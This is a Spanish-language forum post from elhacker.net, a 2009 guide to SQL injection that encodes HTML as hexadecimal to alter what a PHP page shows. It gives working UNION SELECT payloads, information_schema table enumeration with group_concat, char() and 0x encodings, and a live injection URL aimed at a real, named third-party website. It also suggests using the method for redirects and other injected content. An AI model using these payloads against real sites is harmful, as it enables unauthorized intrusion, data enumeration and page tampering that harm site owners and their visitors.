Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Demonic&Sound en 21 Diciembre 2009, 17:03 pm



Título: [Guía] SQLi (Modificando un PHP con valores Hexadecimales)
Publicado por: Demonic&Sound en 21 Diciembre 2009, 17:03 pm
Hola, Soy Demonic&Sound y hoy traigo esta guía echa por mi de como modificar el contenido de una web con SQLi.

PD: Antes de leer, necesitan haber leido el primero tutorial:
http://foro.elhacker.net/php/guia_sqli_inyeccion_sql-t278619.0.html (http://foro.elhacker.net/php/guia_sqli_inyeccion_sql-t278619.0.html)

Contenido

Resumen de la guía anterior.
Comenzando ¿Hexadecimal?.
Tipos de usos con valores hexadecimales.
Conclusión.



1.Resumen de la guía anterior

Nosotros vimos en la guía anterior que las paginas .PHP vulnerables se pueden ver de tres formas básicas:

A.Consultando números negativos (pagina.cl/index.php?id=-1).

B.Consultando números con signos raros (pagina.cl/index.php?id='2).

C.Consultando muchos 9 (pagina.cl/index.php?id=999999999999999999)
.

Además vimos como seguir si la web entrega errores con las inyecciones:

-1+union+select+1,2,3,4,5,n (Asta que los números se vean en la pantalla).

También vimos  como ver el information_schema.tables:

A. replace(group_concat(table_name),0x2C,0x3C62723E) (El más ordenado).

B.group_concat(table_name) (El más desordenado).

Seguido de los números (Si esque hay más números)  y al final agregar

+information_schema.tables

También vimos como entrar en las columnas, ver su información, etc.

Ahora seguirmos con el tutorial número dos.

2.Comenzando ¿Hexadecimal?

A.¿Que es?

El sistema hexadecimal, a veces abreviado como hex, es el sistema de numeración posicional de base 16. Su uso actual está muy vinculado a la informática y ciencias de la computación.

B.¿Como lo vamos a utilizar en SQLi?

Simple, el sistema de SQL, puede soportar cualquier lenguaje en una inyección, ahora tú tendras que aprenderte estos códigos:

Para usar Hexadecimal en SQLi: (0xHex)
El código 0x le dice a la inyección que usaremos Hexa, y Hexa es el código que pondremos.

Ejemplo:
pagina.cl/main1.php?id=-1+union+select+1,2,3,4,5,6,7,8,(0xCodigoHex),10,11

Para usar ASCII en SQLi: char(ASCII)
El código char le dice a la inyección que usaremos ASCII, y ASCII es el código que pondremos, este código debe estare con comillas.

Ejemplo:
pagina.cl/main1.php?id=-1+union+select+1,2,3,4,5,6,7,8,char(ASCII),10,11

Solo veremos Hex y ASCII asta el momento, ya que son los más usados.

3.Tipos de usos con valores hexadecimales

Bueno, ahora que saben estos códigos, les diré que los códigos Hexadecimales, pueden contener cualquier tipo de archivo (HTML, PHP, javascript, PERL, ETC.) esto es excelente si queremos modificar una pagina web, aqui veran algunos ejemplos HTML:

<body background="http://www.chw.net/foro/images/smilies/icon_smile.gif">

 este código lo debemos pasar a hexadecimal y para eso podemos usar esta pagina web:

Convert String To Hexadecimal Online (http://"http://www.string-functions.com/string-hex.aspx")

Bueno ya convertido es asi:

3c626f6479206261636b67726f756e643d22687474703a2f2f7777772e6368772e6e65742f666f726f2f696d616765732f736d696c6965732f69636f6e5f736d696c652e676966223e20

Ahora queremos cargarlo en nuestra página web, el código seria asi:

pagina.cl/main1.php?id=-1+union+select+1,2,3,4,5,6,7,8,0x3c626f6479206261636b67726f756e643d22687474703a2f2f7777772e6368772e6e65742f666f726f2f696d616765732f736d696c6965732f69636f6e5f736d696c652e676966223e20

En resumen es 0xcódigo hexadecimal, como ya dije, podemos poner cualquier tipo de comando,  aquí la web que use de ejemplo para esto:

Feldgrau :: 2 (http://"http://www.feldgrau.com/main1.php?ID=-1+union+select+1,2,3,0x3c626f6479206261636b67726f756e643d22687474703a2f2f7777772e6368772e6e65742f666f726f2f696d616765732f736d696c6965732f69636f6e5f736d696c652e676966223e20,5,6,7,8,9,10")

Eso si, solo se cambiarían en esta url cifrada no se cambia a toda la gente que visite la página web, ahora mismo estoy reportándole el error al dueño de ese sitio. Bueno ahora ven lo facil que es modificar una pagina con SQLi, podriamos ponerle un texto, música, redireccionar, video, subir imagenes, etc.

4.Conclusión

Esta fue una guía, pequeña pero sigue siendo una para ustedes, aprendan y consulten, esta guía no fue echa para que esten destruyendo webs, ojo que yo no me hago responsable si estan haciendo cosas nefastas con la guía, ya que esta guía la ise para que aprendan no para que hagan daño, bueno aprendan.